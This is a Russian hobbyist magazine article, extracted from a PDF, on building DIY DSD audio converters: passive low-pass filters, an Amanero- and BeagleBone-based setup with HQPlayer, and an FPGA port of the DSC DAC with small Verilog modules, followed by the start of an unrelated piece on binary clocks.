Для рас чета емкости кон денса тора нуж но взять соп ротив ление тран сфор‐ 
матора, в дан ном слу чае 600 Ом, и под ста вить в фор мулу f  = 1/2πRC; час тоту

сре за  сле дует  выбирать  минималь ную.  Я  исполь зовал  кон денса торы
на 22 мкФ, час тота сре за получи лась око ло 12 Гц.

c

Ста рай ся исполь зовать  качес твен ные  кон денса торы с низ ким зна чени ем
ESR. Дело в том, что они могут ока зать силь ное вли яние на сиг нал, а ведь он
будет про ходить нап рямую через них.

Еще нуж но будет исполь зовать ФНЧ, что бы убрать высоко час тотный шум.
Здесь  дол жно  хва тить  филь тра  пер вого  поряд ка.  Тран сфор маторы  име ют
опре делен ную полосу про пус кания, и при сов мес тном исполь зовании с ФНЧ
уве личи вает ся  кру тиз на сре за. С  тран сфор матором логич нее все го исполь‐ 
зовать RL‐филь тр (соп ротив ление, индуктив ность), в котором в качес тве соп‐ 
ротив ления   будет выс тупать вход ное соп ротив ление тран сфор матора, а в
качес тве  индуктив ности  —  катуш ка  индуктив ности,  в  дан ном  слу чае 

 (мил лиген ри).

R

2,2–2,7 мГн

Ин дуктив ный филь тр мож но рас счи тать  .каль кулято ром
Та кой спо соб пре дуси ления хорошо под ходит для ста ционар ного исполь‐ 

зования, но носить с собой тран сфор маторы и уси литель, пусть даже неболь‐ 
шого раз мера, вряд ли кому‐то захочет ся. Давай рас смот рим, как мож но соб‐ 
рать перенос ное устрой ство, которое лег ко помес тится в кар ман.

Продолжение статьи →
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Портативный вариант
Для  пор татив ного  вари анта  луч ше  все го  подой дет  пре дуси литель  на  мик‐ 
росхе ме  с  одно поляр ным  питани ем  не  более  5  В.  Что бы  пой ти  по  пути
наимень шего  соп ротив ления,  в  пря мом  и  перенос ном  смыс ле,  хорошо  бы
соб рать все в одном: активный ФНЧ и пре дуси литель на опе раци онном уси‐ 
лите ле.  Подоб рать  и  рас счи тать  такой  филь тр  мож но  и  вруч ную,  но  про ще
все го исполь зовать онлайн‐при ложе ния для рас четов, нап ример 

 ком пании Analog Devices или  , пре дос тавлен ный ком‐ 
пани ей Texas  Instruments. Веб‐при ложе ния прос ты в обра щении, тебе нуж но
ука зать сле дующие парамет ры:

Analog Filter
Wizard Filter Design Tool

тип филь тра — Low Pass;•
уси ление, Gain — мож но задать в воль тах, оно не дол жно пре вышать зна‐ 
чения питания;

•

Passband — нуж ная час тота сре за;•
па раметр Stopband нуж но задать таким обра зом, что бы получил ся филь тр
вто рого поряд ка — 2nd order,  ина че  при дет ся  исполь зовать два и более
опе раци онных уси лите ля;

•

нап ряжение питания +Vs — 3–5 В, ‐Vs — 0 В.•

Ис ходя из  харак терис тик,  выбирай мик росхе му, для  которой будут про изво‐ 
дить ся рас четы. Готово!

Я исполь зовал Analog Filter Wizard, и у меня получи лась сле дующая схе ма.

Спецификации
 +Vs: 3 В; ‐Vs: 0 В• Нап ряжение питания (supply voltage):

 3 В/В• Уси ление (Gain):

 –3 дБ при 35 кГц• По лоса про пус кания (Passband):

 –40 дБ при 500 кГц• По лоса подав ления (Stopband):

Ес ли  ты  не  любишь  паять  или  не  раз бира ешь ся  в  элек тро тех нике,  можешь
купить готовый пре дуси литель с филь тром, нап ример на  .AliExpress

Но  при дет ся  пот ратить ся:  таких  филь тров  нуж но  две  шту ки,  по  одной
на канал. Или мож но купить вари ант  .на два канала

Он рас счи тан на балан сное под клю чение, при котором каж дый канал переда‐ 
ется  отдель но  по  трех про вод ной  схе ме:  по  одно му  про воду  переда ется
основной сиг нал, по вто рому про воду этот же сиг нал в про тиво фазе, а тре тий
про вод  —  это  зем ля.  Поэто му  под клю чать  нап рямую  —  не  луч шая  идея.
Но  мож но  получить  сиг нал  в  про тиво фазе,  инверти руя  выход  DSD
при помощи опе раци онно го уси лите ля, либо  , либо логичес‐ 
кого инверто ра.

триг гера Шмит та

Важ но получить два иден тичных сиг нала в про тиво фазе. Даже малей шие
раз личия будут ока зывать зна читель ное вли яние на выход ной сиг нал.

При  выборе  эле мен тов  обя затель но  нуж но  обра тить  вни мание  на  то,
с какой час тотой они могут работать, потому что час тота потока DSD может
варь иро вать ся  от  2822,4  до  24  576  кГц.  Так же  нас тоятель но  рекомен дую
исполь зовать  .галь ваничес кую раз вязку

Так  реали зует ся  под клю чение  по  балан сной  схе ме.  В  интерне те  мож но
най ти и дру гие вари анты готовых филь тров‐пре дуси лите лей.

Сборка портативного варианта
Ес ли ты не ищешь лег ких путей, давай перей дем к сбор ке.

Железо
В качес тве I2S‐кон верте ра мож но исполь зовать сле дующие пла ты.
1. Ори гиналь ный  . Сто имость око ло 7000 руб лей.Amanero

2. Ки тай ская копия, пла та   Минималь ная сто имость
«реп ликан та»  око ло  2000  руб лей.  Это  поч ти  пол ная  копия  Amanero,
основное их отли чие в качес тве матери ала самой пла ты и ком понен тов.

ATSAM3U1C XC2C64A.

3. Пла ты на осно ве  чипов  . Сто имость  от  1700  руб лей,  прин цип  под‐ 
клю чения будет тот же, но у них высокое энер гопот ребле ние.

Xmos

В качес тве филь тра и пре дуси лите ля исполь зуем   — опе раци онный
уси литель.

AD8656

Так же  понадо бят ся  рас ходни ки  —  резис торы  и  кон денса торы,  ука зан ные
в схе ме под клю чения.

Схе ма под клю чения

В  иде але  для  кон тактов  FSCLK  и  DATA  нуж но  исполь зовать  галь ваничес кую
раз вязку.  Раз вязку  ищи  с  запасом  по  ско рос ти  переда чи  дан ных  —
от  25  Мбит/с,  а  нап ряжение  питания  раз вязки  выбирай  в  диапа зоне 

 Для питания опе раци онно го  уси лите ля луч ше все го исполь зовать
отдель ный  малошу мящий  ста били затор  нап ряжения.  На  вхо де  мож но
добавить  соп ротив ление  для  огра ниче ния  уров ня  сиг нала,  а  на  выход
добавить ФНЧ. Вот и все!

2,7–5,5 В.

По лучив шееся устрой ство не занима ет мно го мес та, и его мож но под клю‐ 
чить через OTG к телефо ну или план шету.

Софт
Драй веры  для  Windows  для  Amanero  и  китай ской  реп лики  (ATSAM3U1C
XC2C64A) мож но ска чать с  . В Linux и Android драй веры не нуж‐ 
ны, на iOS, веро ятно, тоже.

сай та Amanero

Для мобиль ных  устрой ств сущес тву ют десят ки пле еров с под дер жкой Hi‐
Res PCM. Одна ко  через филь тр мож но  слу шать  толь ко DSD,  поэто му  необ‐ 
ходима  кон верта ция PCM в DSD. К  счастью,  есть  пле ер,  который  кон верти‐ 
рует  в  реаль ном  вре мени,  —  Onkyo  HF  Player.  Этот  пле ер  из  MP3  и  FLAC
может  кон верти ровать  в  DSD64  и  128.  При  помощи  Onkyo  HF  Player  ты
можешь  слу шать  прак тичес ки  любую  музыку  через  прос той  ФНЧ.  Жаль,
конеч но,  что  пле ер  не  бес пла тен:  для  Android  он  сто ит  699,  а  для  iOS  —
749 руб лей.

Вос про изве дение DSD через ФНЧ выиг рыва ет по срав нению с клас сичес‐ 
ким спо собом вос про изве дения через ЦАП.

Во‐пер вых, звук получа ется гораз до луч ше, чем на мно гих ЦАП.
По чему  так?  Основная  сос тавная  часть  дель та‐сиг ма‐ЦАП  —  это  циф‐ 

ровая  обра бот ка  сиг нала.  Пред ставь  слож ный  циф ровой  филь тр  с  мно гок‐ 
ратным  овер сем плин гом, модуля тором  5–7‐го  поряд ка  с  dithering  или  noise
shaping.  Тут  тре бует ся  серь езная  вычис литель ная мощ ность,  которая  в ЦАП
огра ниче на,  тог да  как  в  сов ремен ных  про цес сорах  для  смар тфо нов  она
в  разы  боль ше.  Соот ветс твен но,  на  смар тфо не  мож но  реали зовать  более
качес твен ную циф ровую филь тра цию и модуля цию.

По чему  про изво дите ли  не  добав ляют  мощ ные  про цес соры  в  ЦАП  —
загад ка!  Может,  эко номят,  а  может,  счи тают,  что  обра бот кой  дол жно
занимать ся отдель ное устрой ство. Нап ример, Asahi Kasei Microdevices (AKM)
выпус кают  отдель но  DSP,  которые  выпол няют  кон верта цию,  в  том  чис ле  c
овер сем плин гом, — и отдель но ЦАП с режимом bypass.

INFO

Что бы  осве жить  в  памяти  тер мины  и  теорию,
смот ри мою прош лую  .статью о циф ровом зву ке

Во‐вто рых, вос про изве дение DSD через ФНЧ сущес твен но эко номит день ги,
ведь сто имость хороше го ЦАП, даже китай ско го, будет гораз до выше.

Итого
Плю сы

Та кое устрой ство лег ко сде лать самому, даже если ты начина ющий ради‐ 
олю битель.

•

Есть воз можность под клю чения к мобиль ным устрой ствам.•
Сто имость от 2000 руб лей.•
На телефо не с батаре ей в 3200 мА ⋅ ч этот самодель ный ЦАП про рабо тал
боль ше  шес ти  часов  в  режиме  прос лушива ния  с  кон верта цией  PCM —
DSD в реаль ном вре мени.

•

Звук, по моим ощу щени ям, луч ше мно гих топовых ЦАП.•

Ми нусы
Вы ход одно уров невый, поэто му шум будет кор релиро ван с основным сиг‐ 
налом. При сла бом уров не сиг нала воз можны неболь шие иска жения.

•

Сборка стационарного варианта
Этот вари ант будет гораз до слож нее в реали зации, но оно того сто ит.

Железо
На илуч ший  резуль тат  даст  исполь зование    или 

 в качес тве I2S‐кон верте ра.
BeagleBone black Beagle-

Bone green

BeagleBone —  единс твен ный мик рокомпь ютер,  для  которо го  есть  откры тый
драй вер с под дер жкой под клю чения внеш него генера тора так товой час тоты.
К  внеш нему  генера тору  мож но  под клю чить  как  сам  кон вертер,  так  и  ЦАП,
если он есть. Это поз волит сни зить количес тво оши бок при переда че дан ных
по  I2S.  А  еще  мы  можем  сами  выбирать,  какого  качес тва  и  какой  час тоты
генера тор исполь зовать.

ЦАП  для  прос лушива ния  DSD  в  этом  вари анте  не  тре бует ся.  Но  важ но
под клю чение  качес твен ных  генера торов 45 158,4  и  49  152  кГц  при  вос про‐ 
изве дении  DSD  256,  512,  потому  что  час тота  одно бит ного  сиг нала  будет
очень высокой — 11 289,6 и 22 579,2 кГц соот ветс твен но. Час тота так тового
генера тора MCLK дол жна быть хотя бы вдвое боль ше час тоты переда ваемых
дан ных, ина че могут воз никнуть ошиб ки при переда че.

Внешний клок
Пер вое,  что  тебе  пот ребу ется,  —  внеш ний  генера тор  так товой  час тоты,
в  прос тонародье  «клок».  У  тебя,  как  обыч но,  два  пути:  если  ты  дру жишь
с  паяль ником,  можешь  соб рать  его  самос тоятель но,  если  нет  —  купить
готовое решение.

У  Пав ла  Погоди на  есть  про ект    —  ЦАП  под  откры той  лицен зией.
На сай те выложе на докумен тация к ЦАП Пав ла, там же ты най дешь схе му рек‐ 
локера  для  BeagleBone.  В  этой  схе ме  реали зова но  под клю чение  внеш них
кло ков  и  авто мати чес кое  перек лючение  их  под  час тотные  сет ки  44,1/48.
Можешь взять ее за осно ву и соб рать неч то похожее.

DSC

Эта  пла та  раз работа на  для  вос про изве дения  как  PCM,  так  и  DSD,  но  если
тебя, как и меня, инте ресу ет исклю читель но вос про изве дение DSD, то мож но
обой тись толь ко сле дующей частью схе мы.

INFO

Все  наз вания  эле мен тов  и  номина лы  ука заны
в докумен тации ( ).PDF

И  конеч но,  самый  прос той,  но  зат ратный  спо соб —  купить 
.

го товые  генера‐ 
торы

Са мые дешевые из более‐менее при емле мых генера торов выг лядят так

Что бы генера тор авто мати чес ки перек лючал ся под час тотные сет ки 44,1/48,
при дет ся  все‐таки  взять  в  руки  паяль ник  и  рас паять  селек тор  U7
(74AUP2G157)  ука зан ный  на  схе ме  выше,  —  ина че  генера торы  надо  будет
перек лючать вруч ную. Нап ример, для прос лушива ния CDDA, MP3 и DSD пот‐ 
ребу ется  толь ко  генера тор  45  158,4  кГц,  но,  если  ты  захочешь  слу шать
«винил рипы»  с  час тотой  дис кре тиза ции  96  и  192  кГц,  понадо бит ся  уже
генера тор 49 152 кГц.

Пос ле под клю чения генера тора к BeagleBone black  (кон такт  ) оста‐ 
нет ся толь ко вывес ти два канала DSD (кон такты  ).

P9_25
P9_30, P9_41

Но мера кон тактов ука заны для дис три бути ва mini Botic7 ( ), соб ранно го
Пав лом  Погоди ным.  К  кон тактам  DSD1  и  DSD2  нуж но  под клю чить  филь тр,
и устрой ство будет готово к работе.

ар хив

Софт
Те перь погово рим о прог рам мной час ти. Нач нем с драй вера.

Для  BeagleBone  black/green  сущес тву ет  откры тый  драй вер,  написан ный
учас тни ком форума   под ником Miero.diyaudio.com

У драй вера немало нас тро ек, все они опи саны на  . Менять их мож но
в  кон фиге  .  Нап ример,  мож но  задать  вывод  PCM  и  DSD
на  раз ные  кон такты,  дли ну  кад ра  LRCLK  (акту аль но  для  муль тибитов)
или опре делен ную час тоту генера тора так товой час тоты.

сай те
/boot/uEnv.txt

В нашем слу чае менять ничего не при дет ся. Нуж но толь ко ска чать про шив‐ 
ку для BeagleBone black ( ), в ней уже име ется этот драй вер. Ска чан ную
про шив ку записы ваем на кар ту microSD при помощи, нап ример, прог раммы
dd  в  Linux  или  Rufus  в  Windows.  Затем  встав ляем  кар ту  в  разъ ем  на  мик‐ 
рокомпь юте ре,  зажима ем  кноп ку  рядом  с  этим  разъ емом  и  под клю чаем
питание.  Через  нес коль ко  секунд  кноп ку  мож но  отпускать.  Пла та  дол жна
начать заг рузку, весело мигая све тоди ода ми.

ар хив

По умол чанию будет заг ружен про филь с кли ентом для HQPlayer, имен но
он нам и нужен. Так же про шив ку мож но ско пиро вать во внут реннюю память
BeagleBone black, инс трук ции есть на  .сай те Пав ла Погоди на

HQPlayer  —  луч ший  вари ант  для  вос про изве дения  с  кон верта цией  PCM
в  DSD,  пос коль ку  у  него  самый  боль шой  набор  модуля торов  и  циф ровых
филь тров.  Он  под держи вает  11  сиг ма‐дель та‐модуля торов,  30  циф ровых
филь тров, oversampling до 98,304 мГц (DSD 2048), а так же тех нологию CUDA.

Ко неч но, oversampling в DSD 2048 — это перебор, тем более в нашем слу‐ 
чае: BeagleBone black и Amanero могут  вос про изво дить мак симум DSD 512.
Плюс  далеко  не  все  компь юте ры  потянут  даже DSD  256  на  «тяжелых»  циф‐ 
ровых филь трах со слож ными модуля тора ми. Циф ровые филь тры в HQPlayer
очень качес твен ные и тре буют боль шой вычис литель ной мощ ности.

У это го пле ера есть свои минусы. Во‐пер вых, пле ер плат ный, при чем не из
дешевых;  во‐вто рых,  он  под держи вает  край не  огра ничен ный  набор  фор‐ 
матов: CDDA, FLAC, DSDIFF, DSF, RIFF, AIFF — и, к сожале нию, не под держи‐ 
вает CUE. Впро чем,  его  не  обя затель но  покупать. Пле ер  в  проб ной  вер сии
поз воля ет прос лушивать музыку без огра ниче ний в течение 30 минут, а пос ле
прос то зак рыва ется. И нич то не меша ет открыть его заново и исполь зовать
еще мно го раз по пол часа, пока не надо ест.

Все недос татки переве шива ет его вари атив ность и отличный звук. Пле ер
поз воля ет  добить ся  очень  качес твен ного  зву чания.  Циф ровой  филь тр
и  модуля тор —  это  основная  часть  сиг ма‐дель та‐ЦАП.  Их  раз личные  вари‐ 
анты  как  раз  и  реали зова ны  внут ри  это го  пле ера,  что  поз воля ет  подоб рать
качес тво циф ровой обра бот ки в зависи мос ти от быс тро дей ствия компь юте‐ 
ра. При исполь зовании с BeagleBone black или Amanero HQPlayer ста новит ся
тон ко  нас тра иваемым  сиг ма‐дель та‐циф роана лого вым  пре обра зова телем
с огромны ми вычис литель ными ресур сами в виде тво его компь юте ра.

Для под клю чения к BeagleBone black в нас трой ках HQPlayer нуж но выб рать
в  выпада ющем  меню  Backend  пункт  NetworkAudioAdapter.  В  выпада ющем
спис ке  Device  дол жен  появить ся  Botic7:  Botic  при  усло вии,  что  основной
компь ютер с HQPlayer и мик рокомпь ютер BeagleBone находят ся в одной под‐ 
сети  и  име ется  DHCP‐сер вер.  В  парамет ре  Default  Output  Mode  выбира ем
SDM  (DSD),  параметр Bit  rate  (/limit)  для  начала  луч ше  выс тавить  44,1k  х64.
В треть ей и чет вертой вер сиях пле ера нас трой ки выг лядят по‐раз ному.

Даль нейшие нас трой ки ты смо жешь подоб рать эмпи ричес ким путем, исхо дя
из сво его вку са (слу ха) и про изво дитель нос ти компь юте ра.

Те перь  к  DSD‐выходам BeagleBone  black  нуж но  под клю чить ФНЧ.  Что бы
убрать шумы от питания и пуль сации све тоди одов, луч ше все го исполь зовать
галь ваничес кую раз вязку. Вот и все, устрой ство готово!

Итого
Плю сы

Струк тура  получи лась  поч ти  open  source:  BeagleBone  black  изна чаль но
был откры тым про ектом, на офи циаль ном сай те есть докумен тация и пол‐ 
ная  схе ма  мик рокомпь юте ра,  исходные  коды  I2S‐драй вера  выложе ны
в откры том дос тупе, схе ма рек локера (генера тора так товой час тоты) так же
опуб ликова на  под  откры той  лицен зией.  Единс твен ный  проп риетар ный
ком понент  здесь  HQPlayer  —  жаль,  что  нет  аль тер нативы  с  откры тым
исходным кодом.

•

BeagleBone black обой дет ся в 3800 руб лей,  генера торы и рас ходни ки —
от 600 руб лей.

•

Ус трой ство отли чает ся пре вос ходным зву ком, осо бен но при вос про изве‐ 
дении чис того DSD или кон верта ции PCM через HQPlayer.

•

Ми нусы
Ми нусы обна ружи лись толь ко у пле ера, их я уже перечис лил.

Продолжение статьи →



НЕ ПУСТОЙ ЗВУК
КАК СОБРАТЬ СОБСТВЕННЫЙ

ЦИФРОАНАЛОГОВЫЙ ПРЕОБРАЗОВАТЕЛЬ

GEEK  НАЧАЛО СТАТЬИ←

Проект DSC и ПЛИС
При  вос про изве дении  через  ФНЧ  есть  лишь  один  недос таток  —  сиг нал
на  выходе  одно уров невый. Но  при  высокой  час тоте  дис кре тиза ции  вли яние
шума  сво дит ся  к  миниму му,  к  тому  же  при  опре делен ных  зат ратах  мож но
решить и эту проб лему.

Про ект  самодель ного  ЦАП  DSC,  соз данный  Пав лом  Погоди ным,  может
стать  высокок лас сной  аль тер нативой  тех нологии  DEM.  Но,  судя  по  все му,
ком мерчес кий  ЦАП  по  схе ме  Погоди на  будет  дорого ват.  Даже  китай ские
самопаль ные  пла ты,  соб ранные  по  пер вым  вер сиям  DSC,  сто или  боль‐ 
ше 10 000 руб лей, а ведь свер ху при бавит ся цена пре цизи онных ком понен‐ 
тов, питания и кор пуса.

Мож но,  конеч но,  копить день ги и ждать выхода ЦАП, но меня, нап ример,
это не устра ивает. Поэто му я решил перенес ти про ект DSC на ПЛИС (прог‐ 
рамми руемая логичес кая интеграль ная схе ма). Наде юсь, Павел не оста нет ся
в оби де за это. :)

Для сбор ки мне понадо бит ся собс твен но  . Я выб рал одну из самых
дешевых — Altera MAX  II  (EPM240T100C5). В  ней 240  логичес ких  эле мен тов
и  100  выводов.  Для  сов ремен ных  ПЛИС  это  скром ные  показа тели,  зато
и цена скром ная — от 500 руб лей.

ПЛИС

За осно ву была взя та схе ма вер сии DSC 2.5.2/2.6.2 ( ).PDF
Про ект  DSC  осно ван  на  сдви говом  регис тре  74AHCT595;  восемь  таких

регис тров  фор миру ют  один  зву ковой  канал,  пра вый  или  левый.  Пер вые
четыре регис тра под клю чены друг к дру гу и сос тавля ют один боль шой сдви‐ 
говый регистр на 32 парал лель ных выхода, эти четыре регис тра фор миру ют
положи тель ную вол ну. Дру гие четыре регис тра под клю чены друг к дру гу ана‐ 
логич ным  обра зом  и  фор миру ют  отри цатель ную  вол ну.  На  вход  пер вых
четырех регис тров пода ются DSD‐дан ные в исходном виде, а на вход дру гих
четырех  —  эти  же  дан ные,  но  с  инверси ей.  К  парал лель ным  выходам  этих
регис тров  под клю чены  резис торы,  соеди нен ные  в  две  шины  —  одна
для положи тель ной вол ны, дру гая для отри цатель ной. Эти шины фор миру ют
балан сный ауди овы ход.

Прин цип работы DSC похож на прин цип работы муль тибит ного ЦАП,  толь ко
дан ные на выходах меня ются пос тоян но, а не по кад рам LRCK и каж дый бит
дан ных име ет оди нако вый вес. Выход ной сиг нал в таком ЦАП, по сути, пред‐ 
став ляет собой сум му отдель ных сиг налов с выходов регис тров.

Графический проект
В биб лиоте ке сре ды раз работ ки Quartus Prime, в которой и будет ком пилиро‐ 
вать ся про шив ка для ПЛИС, есть готовая модель сдви гово го регис тра, имен‐ 
но того, что исполь зует ся в ори гиналь ном DSC, 74AHCT595.

Так же  в  Quartus  Prime  мож но  соб рать  логичес кую  схе му  пол ностью  в  гра‐ 
фичес ком  виде,  не  изу чая  никаких  язы ков  опи сания  и  прог рамми рова ния.
Сде лать схе му прос то, как в прог раммах для рисова ния схем.
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•Где ска чать, как уста новить и нас тро ить Quartus
Prime

•Под робные виде оуро ки по работе с Quartus

Но есть проб лема: в выб ранную ПЛИС Altera MAX II не вле зает целиком схе ма
ори гиналь ного  DSC,  так  что  ее  при дет ся  упростить.  У  MAX  II  все‐ 
го 100 выводов (при чем не все из них мож но исполь зовать), а для DSC нуж но
как минимум 128 выводов. При дет ся отка зать ся от балан сно го выхода! Чуть
поз же  я  рас ска жу,  как  сде лать  пол ный  вари ант.  А  пока  отло жим  в  сто рону
сдви говые  регис тры  отри цатель ной  вол ны  и  лиш ние  логичес кие  эле мен ты
для инверсии сиг нала.

Ос тает ся  толь ко  наз начить  выводы,  ском пилиро вать  про ект  и  заг рузить
в ПЛИС.
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•Как  под готовить  и  заг рузить  про ект  в  ПЛИС
Altera

•Го товые про екты на GitHub

Пос ле заг рузки про шив ки нуж но под клю чить резис торы к пинам ПЛИС и объ‐ 
еди нить их выходы по ори гиналь ной схе ме DSC.

Да лее  нуж но  под клю чить ФНЧ и  кон денса тор  к  обще му  выходу  резис торов,
что бы убрать паразит ные высокие час тоты и пос тоян ную сос тавля ющую сиг‐ 
нала.

Вы ход ФНЧ под клю чаем  к  уси лите лю,  а  на  вход ные  кон такты пода ем DSD c
BeagleBone black или Amanero. Облегчен ная вер сия про екта DSC готова!

Проект на Verilog, stereo
Для опти миза ции и рас ширения воз можнос тей я перенес логику работы DSC
на  язык  опи сания  схем  Verilog  HDL.  В  резуль тате  количес тво  исполь зуемых
логичес ких  эле мен тов  в ПЛИС сок ратилось  поч ти  вдвое. Для  наг ляднос ти  я
соз дал сме шан ный про ект, где вер хний уро вень пред став лен в гра фичес ком
виде, а вло жен ные бло ки опи саны кодом Verilog.

Бло ки SR — это  сдви говые регис тры,  по  срав нению с  74AHCT595 они  зна‐ 
читель но упро щены. На язы ке Verilog их код выг лядит так:

         module SR #(parameter output_pins = 32)
(
     input clk, data,
   output [0:output_pins‐1]out
);

 reg [output_pins‐1:0]data_reg;
   always @(posedge clk)

     data_reg <= {data_reg[output_pins‐2:0], data};
     assign out = data_reg;

endmodule

В  этом  вари анте  спе циаль но  для  BeagleBone  black  добав лен  селек тор
для перек лючения  внеш них  генера торов  так товых импуль сов. На боль шинс‐ 
тве  качес твен ных  генера торов  так товых  импуль сов  име ется  управля ющий
кон такт.  Ког да  на  этом  кон такте  логичес кая  еди ница,  генера тор  работа ет,
а ког да логичес кий ноль — нет. Рас полага ются управля ющие кон такты обыч‐ 
но  там,  где  нарисо ван  «ключ»  —  это  неболь шой  кру жок  в  одном  из  углов
генера тора.

Та ким  обра зом,  если  соеди нить  выходы  двух  генера торов  через  резис торы
номина лом 33 Ом, мож но реали зовать перек лючение под необ ходимую час‐ 
тотную  сет ку.  Ниже  при веден  модуль,  который  перек люча ет  сос тояние  кон‐ 
тактов  в  зависи мос ти  от  час тоты  дис кре тиза ции.  Кон такт    на  Beagle‐
Bone  black  сле дует  соеди нить  с  кон тактом    на  ПЛИС,  а  выходы

,   под вести к управля ющим вхо дам генера торов.

P9_24
CLK_select

Clock44 Clock48

Ис ходный код:

 module switch(
   input clk_select,
   output clock44,
   output clock48
);

             assign clock44 = clk_select ? 1 : 0;
             assign clock48 = clk_select ? 0 : 1;

endmodule

Что бы  мож но  было  авто мати чес ки  вклю чать‐вык лючать  зву ковой  выход,
добав лена логичес кая схе ма Mute сог ласно ори гиналь ной схе ме DSC.

Ис ходный код:

 module Mute(
   input mute,
   input dsd_on,
   output mute_out
);

         assign mute_out = ~(mute | ~dsd_on);

endmodule

Эле мент  Mute  реали зует  толь ко  логику  перек лючения  сос тояния  кон такта
,  для  реаль ной  работы Mute  нуж но  устрой ство,  которое  отклю чает

ауди овы ход  ЦАП.  Есть  раз личные  спо собы  реали зации.  Нап ример,  в  DSC
вер сии  2.5.2  исполь зует ся  управля емый  ана лого вый  перек лючатель.  Что
имен но  исполь зовать  —  дело  вку са.  Мож но  обой тись  вооб ще  без  Mute,
ничего  страш ного  не  про изой дет,  толь ко  будут  слыш ны  оди ноч ные  щел чки
при руч ном перек лючении тре ков.

Mute_OUT

Проект на Verilog, mono
По кажу вари ант реали зации DSC, наибо лее близ кий  к ори гина лу. Пом нишь,
ори гиналь ный  про ект  не  вле зал  на MAX  II  из‐за  недос таточ ного  количес тва
выход ных пор тов?

У  этой  проб лемы  есть  два  решения:  пер вое —  купить  ПЛИС  с  боль шим
количес твом  пор тов,  вто рое  —  купить  две  ПЛИС  и  реали зовать  пра вый
и левый канал раз дель но. Одна ПЛИС с дос таточ ным количес твом выход ных
пор тов гораз до дороже, чем две ПЛИС Altera MAX II, так что выбор оче виден.
А еще счи тает ся, что dual mono — двой ное моно — зву чит луч ше, чем обыч‐ 
ное сте рео. Теперь у нас есть отличный повод про верить это утвер жде ние!

Итак,  нам  нуж но  соз дать  эле мент  с  инверси ей  сиг нала  и  обя затель но
с  син хрон ными  выхода ми,  потому  что  в  балан сной  схе ме  даже  неболь шие
раз личия могут ока зать силь ное вли яние на зву ковой сиг нал.

На  вход    пода ется  выход  дан ных  пра вого  или  левого  канала DSD,  а  на
вход    —  син хро низа ция  DSD.  На  выходах  получа ем  пря мой  и  инверти‐ 
рован ный поток дан ных DSD.

data
clk

   module Inverter (
     input data, clk,
               output reg data_out = 0, invert_data_out = 0
);

     reg check = 0;
   always @(posedge clk)

begin
       if(data) check = 1;
 if(check)
 begin
       data_out <= data;
       invert_data_out <= ~data;
 end
end

endmodule

Да лее, как и в пре дыду щих вер сиях, под клю чаем соз данный эле мент к сдви‐ 
говым регис трам.

К выходам сдви говых регис тров нуж но при паять резис торы, как в ори гиналь‐ 
ной  схе ме.  В  резуль тате  получа ется  балан сный  выход.  На  пер вой  ПЛИС —
пра вый  канал  dual  mono,  на  вто рой  ПЛИС —  левый.  Выходы    (DSD1)
и   (DSD2) мик рокомпь юте ра BeagleBone black нуж но под клю чить к вхо‐ 
ду    на  пер вой ПЛИС  и  такому  же  вхо ду  на  вто рой ПЛИС.  Выход мик‐ 
рокомпь юте ра    (BCK) будет общим для обе их ПЛИС, его сле дует под‐ 
клю чить к вхо ду  .

P9_30
P9_41
DSD1

P9_31
dsd_clk

Я не ука зываю номера кон тактов ПЛИС, потому что про екты, ско рее все го,
будут  обновлять ся  и  номера  могут  изме нить ся.  Что бы  узнать  номера  и  при
необ ходимос ти поменять их под свои цели, открой про ект в Quartus Prime.

В  качес тве  резис торов  на  выходах  луч ше  все го  исполь зовать  готовые
резис торные  сбор ки.  Сущес тву ют  сбор ки  хорошей  точ ности —  они  допол‐ 
нитель но  улуч шат  харак терис тики  зву чания.  Тран сфор маторы  под клю чают ся
к общей шине резис торов, как в ори гиналь ном DSC.

 — вход для шины пер вого регис тра.• R_OUT_HOT

 — вход шины вто рого регис тра.• R_OUT_COLD

Все,  мы  соб рали  про ект,  мак сималь но  похожий  на  DSC!  Наде юсь,  по  зву‐ 
чанию  он  будет  не  силь но  усту пать  ори гина лу.  В  иде але  нуж но  переде лать
питание,  но  даже  на  моей  тес товой  ПЛИС  с  резис торами  с  точ ностью  1%
и стан дар тным питани ем от импуль сно го бло ка звук получил ся прек расным.
А с качес твен ным питани ем и точ ными резис торами будет еще луч ше!

Итого
Плю сы

Сто имость от 600 руб лей плюс BeagleBone black или Amanero.•
Звук еще луч ше, чем при вос про изве дении DSD через ФНЧ.•
Воз можность  пол ной  кас томиза ции  и  добав ления  новых  алго рит мов
работы.

•

Зна читель но про ще в реали зации по срав нению с ори гиналь ным DSC.•

Ми нусы
Ми нусы не обна руже ны (по край ней мере пока).

ЗАКЛЮЧЕНИЕ
Прос лушива ние  музыки  с  кон верта цией  PCM  в  DSD  счи таю  без  сом нений
наилуч шим  вари антом  вос про изве дения  популяр ных  фор матов,  осо бен но
если исполь зовать DSC. Аль тер нативой может выс тупать толь ко популя риза‐ 
ция и даль нейшее раз витие фор матов, в час тнос ти DSD.

По ложа руку на сер дце, ска жу, что,  какие бы циф ровые филь тры, час тоту
дис кре тиза ции и модуля торы я ни исполь зовал, чис тый DSD все рав но зву чит
луч ше.  К  тому  же  при  вос про изве дении  он  не  тре бует  никакой  циф ровой
обра бот ки: не нуж ны ни филь тры, ни модуля торы, ни noise shaping — отчасти
потому, что циф ровая обра бот ка уже выпол нялась при записи.

Но  теоре тичес ки  при  исполь зовании  хороше го  ком парато ра  и  высокой
час тоты воз можно подобие ана лого вой записи без исполь зования циф ровой
обра бот ки вооб ще. Очень жаль, что DSD не рас простра нен так же, как CDDA
или хотя бы FLAC. Собс твен но, желание хоть нем ного популя ризи ровать фор‐ 
мат  и  было  глав ной мотива цией  написать  этот матери ал. Наде юсь,  тебе он
пон равил ся.
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Од нажды  на  прос торах  eBay  я  уви дел  бинар ные  часы
и загорел ся иде ей их купить. К сожале нию, тог да они сто или
око ло 250 дол ларов, а таких денег у меня не было. Но часы
мне так пон равились, что я решил соб рать такие же самос‐ 
тоятель но. Ска зано — сде лано.

ЧТО ТАКОЕ БИНАРНЫЕ ЧАСЫ?
Впер вые  бинар ные  часы  были  соз даны  в  сороко вых  годах  прош лого  века
в  Япо нии  и  задумы вались  как  тре нажер  для  памяти.  Прин цип  их  работы
прост  —  они  показы вают  вре мя  не  в  при выч ной  нам  десятич ной  сис теме
счис ления, а в дво ичной.
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на сай те магази на «Секун да».
Под робнее  о  раз ных  видах  дво ичных  часов

Еди ницы  и  нули  в  наших  часах  обоз начим  све тоди ода ми:  све тящий ся  све‐ 
тоди од — еди ница, потушен ный све тоди од — ноль. Я исполь зую четыре све‐ 
